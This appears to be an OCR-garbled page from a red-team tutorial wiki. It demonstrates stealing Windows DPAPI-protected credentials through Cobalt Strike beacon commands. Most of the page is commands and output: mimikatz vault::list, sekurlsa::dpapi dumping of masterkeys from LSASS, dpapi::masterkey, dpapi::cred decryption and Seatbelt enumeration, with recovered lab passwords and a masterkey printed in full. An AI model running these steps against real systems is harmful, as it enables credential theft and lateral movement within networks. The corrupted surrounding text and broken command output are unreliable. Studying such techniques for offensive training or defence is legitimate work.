[(TTDPAPI [TTTTITIT]

Internet Explorer[Google Chrome [TTTTTTTTIIIT]

Outlook[Windows Mail[Windows Mail [ITTITITITIT]

(LIIITTTITIT]

(LTI

Windows CardSpace [J Windows Vault [T

(ITTITTITT} NET Passport

(LTI

(O API [1] CryptProtectData [ITTTTITIITITITIITINTN 0111 SkypeWindows Rights Management Services[Windo\

messenger[Google Talk [J

[VEuli¢md [AppData [T]1T]

beacon> shell vaultcemd /listcreds:"Windows Credentials" /all

[#] Tasked beacon to run: vaultcmd /listcreds:"Windows Credentials" /fall
[+] host called home, sent: 89 bytes

[+]1 received output

Credentials in vault: Windows Credentials

Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/172.16.1.13

Identity: prodialice

Hidden: No

Roaming: No

Property (schema element id,value): (100,2)

(Mimikatz [Vault::list [I1]
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beacon> mimikatz vault::list

[*] Tasked beacon to run mimikatz's vault::list command
[+]1 host called home, sent: 750713 bytes

[+] received output:

Vault : {4bf4c442-9bBa-41a0-b380-dd4a704ddb28}
Name : Web Credentials

Path + Ci\Usersyserveradm\AppDatasLocal\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDE28
Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6Tf3b20}
Name : Windows Credentials

Path + Ci\Usersyserveradm\AppDataiLocal\Microsoft\Vault
Items (1)

0. (null)
Type : {3e0e35be-1b77-43e7-b873-aed901h6275b}
LastWritten 1 51042023 9:08:02 AM
Flags 1 00000000
Ressource + [STRING] Domain:target=TERMSRV/172.16.1.13
Identity + [STRING] prodialice
Authenticator
PackageSid
*Authenticator* : [BYTE*]

**% Domain Password *+*

[T[ISeatbelWihdowsVault [TTTT1T]

beacon> execute-assembly fopt/red/seatbelt.exe WindowsVault

[*] Tasked beacon to run .NET program: seatbelt.exe WindowsVault
[+] host called home, sent: 661583 bytes

[+] received output:

%L LOD0EE

et
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000000000
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####° %#################### aoo oo @/ 11 F (Bt ( (3 (o (e CCOCCC(C
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R R
000
o ettty

Vault GUID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Vault Type : Web Credentials
Item count 1 0

Vault GUID : 77bc582h-f0a6-4e15-4e80-61736b6T3b29

Vault Type : Windows Credentials

Item count t 1
SchemaGuid t 3e0e35he-1b77-43e7-b873-aed901b6275b
Resource + String: Domain:target=TERMSRV/172.16.1.13
Identity + String: prodialice
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Manage your credentials

View and delete your saved logon information for websites, connected applications and networks,

h{( Web Credentials .nf;.-( Windows Credentials

o
T

et et

Back up Credentials Restore Credentials

Windows Credentials Add a Windows credential
TERMSRY/172.16.1.13 Meodified: Today
Certificate-Based Credentials Add a certificate-based credential

Mo certificates.

Generic Credentials Add a generic credential
Microsoft:55M5S: 19 WEB02A\5CQL03:52:8c%1a03d-f9b4-46... Modified: 5/7/2023
Internet or network address:

Microsoft:SSMS:19:WEB02\SQL03:52:8¢91a03d-FIb4-46c0-a305- ..
User name: sa
Password: ssssssss

Persistence: Local computer

Edit Remove

&> Rernote Desktop Connection — x

Remote Desktop
1<) Connection

Computer: 172.16.1.13 e

Username: prodalice

| Show QOptions Help

[CAPgérs\username\AppData\Local\Microsoft\Credentials T[]

beacon= 1s C:\users\serveradm\AppData‘\Local\Microsoft\Credentials

[*] Tasked beacon to List files in C:\users\serveradm\AppData‘Local\Microsoft\Credentials
[+] host called home, sent: 84 bytes

[*] Listing: C:\users‘\serveradm\AppData‘\Local\Microsoft\Credentials\

Size Type Last Modified Name

0b fil 05/10/20
492b fil 05/06/2023 |
10kb fil 05/07/.

[IIT1I1] SemtirtdowsCredentialFiles [[IT]
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beacon> execute-assembly fopt/red/seatbelt.exe WindowsCredentialFiles

[*] Tasked beacon to run .NET program: seatbelt.exe WindowsCredentialFiles
[+] host called home, sent: 661603 bytes

[+] received output:

GG
EhEELEE 5,
T
Peeeis e s e e e SRR e o ol o ait s &Pt
B R 0 2 i s
L R e e e s

&/ /1 | (((&@eSSadtatamtiintint | | (((GHESS S8 PSPl d0 s
@111 (((&eeeecnppnmmmnppmmmmmmns (CCCCCCCCCCCCCOCCCC
O 111\ ((Eeccearamnpnppmpmmamnrs (CCCCCCCCCCCCOOC0C
QY111 ((Eeeossdraraamaasmmmmsmmss (# (@ (CCCCCC
@Y 11 1 (R0 P A (8 (B (ol (L
HiH MR @f /1 (USSR (8 (S (st

AT 8% @/ [/ 1 (U &PE Pttt i (st ( (it
R AR R @/ /1 1 RSPt
%% Seathelt Sl [ ] P8P Sttt

vlllll ,{({&00000000000000000

L T

oo
TN e e

B e s s

Cale
P T
ate e,

Folder : C:\Windows\System32\config\systemprofile\AppData‘\Local\Microsoft\Credentials
+ DFBE7OA7ESCC19A398EBF 1B96859CESD

: Local Credential Data

: 610db7a7-bfef-4799-81c9-ec2f30bc67df

Accessed r 4/2/2023 1:14:47 PM

Modified v 4/2/2023 1:14:47 PM

Size + 11088

FileName
Description
MasterKey

Folder : C:\Users‘\serveradm\AppData\Local\Microsoft\Credentials\

ZBD671520DDDOSSEFODCCEDS3CD2CAER
Local Credential Data

FileName
Description

MasterKey
Accessed
Modified
Size

FileName
Description
MasterKey
Accessed
Modified
Size

FileName
Description
MasterKey
Accessed
Modified
Size

ac9aafab-1bcc-43e7-aB0c-48e7558d3dbc
5/10/2023 9:08:02 AM

5/10/2023 9:08:02 AM

380

A46ES585799531EBE8011D5ED144637B7D
Local Credential Data
ac%aafa6-1bcc-43e7-aB80c-48e7558d3dbc
5/6/2023 7:01:07 PM

5/6/2023 7:01:07 PM

492

DFBE7OAYESCCI19A398EBF 1B96859CESD
Local Credential Data
ac%aafa6-1bcc-43e7-aB80c-48e7558d3dbc
5/7/2023 9:16:36 PM

5/7/2023 9:16:36 PM

11004

[TTTTTT] Madi&Key asterKe o ARPDATAY%\Microsoft\Protect\{SID} [{SID} [T111[
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beacon> shell whoami /all

[*#] Tasked beacon to run: whoami /fall
[+] host called home, sent: 54 bytes
[+] received output

USER INFORMATION

User Name

white-bird\serveradm S-1-5-21-2387957962-993181570-3566323574- 1604

[I1T] MasterKey [TTTT] AES256/128 [TITITITITITITITITTITITITITTTIT

LSASS [T]

(IO (OO O LSASS [IITIIITmimikatz [J 'sekurlsa::dpapi [I11] MasterKey[TTT] GUID
137c32458ea484baaa62214a46caec2b0a24d0f793275ac7cfc85cde5939a9ba084all56¢c3

1lcd262ae547c27be8d22f2dc34483dd0168957dc58438bc5750f9%a

beacon> mimikatz !sekurlsa::dpapi

[#*] Tasked beacon to run mimikatz's !sekurlsa::dpapi command
[+] host called home, sent: 750706 bytes

[+] received output

Authentication Id : @ ; 28390852 (00000000:01bh135c4)

Session : NewCredentials from 0

User Name : DefaultAppPool

Domain : IIS APPPOOL

Logon Server ¢ (null)

Logon Time v 5/10/2023 6:26:44 AM

SID 1 §-1-5-82-3006700770-424185619- 1745488364 - 794895919- 4004696415

Authentication Id : 0 : 429834 (00000000:00068T0a)

Session : Service from 0

User Name : SOLTELEMETRY$SQLO3

Domain : NT Service

Logon Server ¢ (null)

Logon Time 1 5872023 1:30:54 PM

SID 1 S-1-5-80-289105%6567-530495725- 1332854966 - 349906 7468- 871297426

Authentication Id : 0 ; 238026 (0O00OOO0:0003alca)
Session : Interactive from 1
User Name 1 serveradm
Domain : WHITE-BIRD
Logon Server + DCOS
Logon Time 1 5/8/2023 1:29:58 PH
SID 1 5-1-5-21-2387957962-993181570- 3566323574- 1604
[00000000]
* GUID b {ac9aa0a6- 1bcc-43e7-a80c-48e7558d3dbc}
* Time i 5/10/2023 9:15:52 AN
* MasterKey : 137c32458ea484baaa62214a46caec2h0a24d0f793275ac7cfc85cde5939a9ha084a1156c31cd262ae547c27be8d2212dc34483dd0168957dc58438hc5750T9a
* shal(key) : 11f82a7da340a92bd243d7cc29edd40269a8e416

[(T1T] LSASS [TTTTT1] OPSEC [I1T]

MS-BKRP



https://raven-medicine.com/uploads/images/gallery/2023-05/2VUMLAnjJYR7r4ck-image.png
https://raven-medicine.com/uploads/images/gallery/2023-05/YJ6lkEcZTAS0bR47-image.png
https://raven-medicine.com/uploads/images/gallery/2023-05/3UgDrnBXk5IJy8zc-image.png

MS-BKRP [TTTTTITIIT] MasterKey[TTTTTITIT] LSASS (I ITITITIIIIIIT0

T (OO0

dpapi:: masterkey /in: C: \users\<[ITP>\AppData\Roaming\Microsoft\Protect\<[TSID>\<MasterKey GUID> /
dpapi:: masterkey /in: C: \users\<[ITP\AppData\Roaming\Microsoft\Protect\<[ISID>\<MasterKey GUID>
/sid: <[TBID> /password: <[> /protected

y /in:C:\users\serveradm\AppData\Roaming\Micr
run mimikatz's dpapi::masterkey fin:C:\users\serveradm\AppData\Roaming\Microsoft\P
sent: 750718 bytes

: 00000002 - 2
1 {ac9aafab-1bcc- -a80c-48e 755
dwFlags 1 00000000
dwMasterKeyLen
dwBackupKeyLen
dwCredHistlen + 00000000
dwDomainKeyLen : 00000174
[mas ti yl
**MASTERKEY **
dwVersion : 00000002
salt : 20d7fe?
rounds 1 00004650
1 00008

00000002 -

1 00000100 -
1 000000
guidMasterKey : {0f90als5c-53fa-4f64-a7f7-a0cda92b13da}

dwAccesscheckLen

7eb1bb675694926d0f83d499h31444e 8970d1a517c6fda 08T 1d702fa69
1 212d627fee5f1defa9b5d00c4b199b5bc464cd4b1670385f 7d4814cd7e04faa

Auto SID from path seems to be: S-1-5-21

[domainkey] with RPC

[DC] 'white-bird.local' will be the domain

[DC] 'dcO5.white-bird.local' will be the DC server
k 137c32458ea484baaa62214a46caec2b0a24dof793275ac7cfc85cde5939a9ha084al1156¢c31cd262ae547c27he8d22f2dc34483dd0168957dc58438bc 57501 9a
shal: 11f82a7da340a92bhd243d7cc29edd40269aBe416

T mimikatz (11T

mimikatz dpapi::cred /in: C: \Users\<[TP\AppData\Local\Microsoft\Credentials\<[IIT}F

/masterkey: <MasterKey>
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beacon> mimikatz dpapi::cred /in:C:\Users\serveradm\AppData\Local\Microsoft\Credentials\2BD671529DDDO85EFODCCBDS3CD2CAEB /masterkey: 137c32458ea484baaa62214a46caec2h0az4dof793275ac7cfc8
[*]1 Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\serveradm\AppData\Local\Microsoft\Credentials\2BD671529DDDO85EFODCC8D53CD2CAEB /masterkey: 137c32458ea484haaa62214a46caec2bo
[+] host called home, sent: 750713 bytes

[+] received output:
Y
dwversion
guidProvider

dwMasterKeyVersion :
: {ac9aafab6-1bcc-43e7-aB80c-48e7558d3dbc}
: 20000000 - 536870912 (system ; )

1 00000030 - 48

+ Local Credential Data

guidMasterKey
dwFlags
dwDescriptionLen
szDescription

algCrypt
dwAlgCryptLen
dwSaltLen
pbSalt
dwHmacKeyLen
pbHmackKey
algHash
dwAlgHashLen
dwHnac2KeyLen
pbHmack2Key
dwDatalen
pbData
dwSignLen
pbSign

: 00000001 - 1
i {dfod8cd0-1501-11d1-8c7a-00c04fc297eb}

00000001 - 1

: 00006603 - 26115 (CALG_3DES)

: 000000CO - 192

+ 00000010 - 16

+ b8896b38cc0TB8846dd9f985ddb62dcTe
1 00000000 - 0

: 00008004 - 32772 (CALG_SHA1)

: 000000a0 - 160

1 00000010 - 16

+ 2bde47a778h346a6771edf662134bT72

1 000000b8 - 184

: ed56fa32056922ab36bac595e388d399535723a115ca205b4eae53eh6d23f299dfcd66b0272c5e896c 2caf 0009509 1398 12be1che9dc7¢3d71c5941c6697ad99409h9a%alebede74325578667a7a6
: 00000014 - 20

+ fdoe83eb1329ae87000b4fh80d920c0afdas347e

[T serveradm [ITTT] 3 T T T TIT T

Decrypting Credential:

* masterkey
**CREDENTTAL**
credFlags
credSize
credunke

Type

Flags
LastWritten
unkFlagsorsize
Persist

unk®

unk1
TargetName
UnkData
Comment
TargetAlias
UserName

Attributes

: 000000b4
: 0DO00OOD - O

: 00000002 -
: 00000000 - O
: 5/10/2023 4:08:02 PM

1 00000002 -
AttributeCount :
1 00000000 - O
: 00000000 - O
: Domain:target=TERMSRV/172,16.1.13

137¢32458ea484baaa62214a46caec2b0a24d0f793275ac7cfcB85cde5939a9ba084a1156¢31cd262ae547c27be8d221 2dc34483dd0168957dc58438bc 57501 0a

00000030 - 48
180

2 - domain_password

00000018 - 24
2 - local_machine
00000000 - ©

(null)
(null)
(null)

1 prodialice
CredentialBlob :
1 0

elizabeth

Decrypting Credential:

* masterkey
CREDENTIAL**
credFlags
credSize
credunko

Type
Flags
LastWritten

Persist

AttributeCount :
: 00000000 - 0
: 00000000 - O
1 LegacyGeneric:target=Microsoft:SSMS:19:WEB02\SQLO3:5a:8c91a03d-f9b4-46c0-a305-b5dcc791f907:1

unk@

unkl
TargethName
UnkData
Comment
TargetAlias
UserName

CredentialBlob :
t 0

Attributes

: 00000001 -
: 00000000 - O

1 5/7/2023 2:01:07 AM
unkFlagsorsize :
+ 00000002

1 137c32458ea484baaa62214a46caec2b0azadof793275ac7cfcB85cde5939a9ba084a1156c31cd262ae547c27beBd 22 2dc34483dd0168957dc58438bc575019a

: 00000030 - 48
1 00000126
: 00000000 - O

294

1 - generic

00000020 - 32
2 - local_machine
00000000 - O

(null)

(null)

(null)

sa
PasswOrdweb02sa

[ITITITT] serveradm [J RDP [TTTTITITITT] alice [ITTTITITITITITIT DPAPI [TITITITITIIT Web02 [TJMSSQL

Revision #4

Created 5 September 2022 03:08:53 by [TT]
Updated 28 December 2023 01:31:10 by 1171
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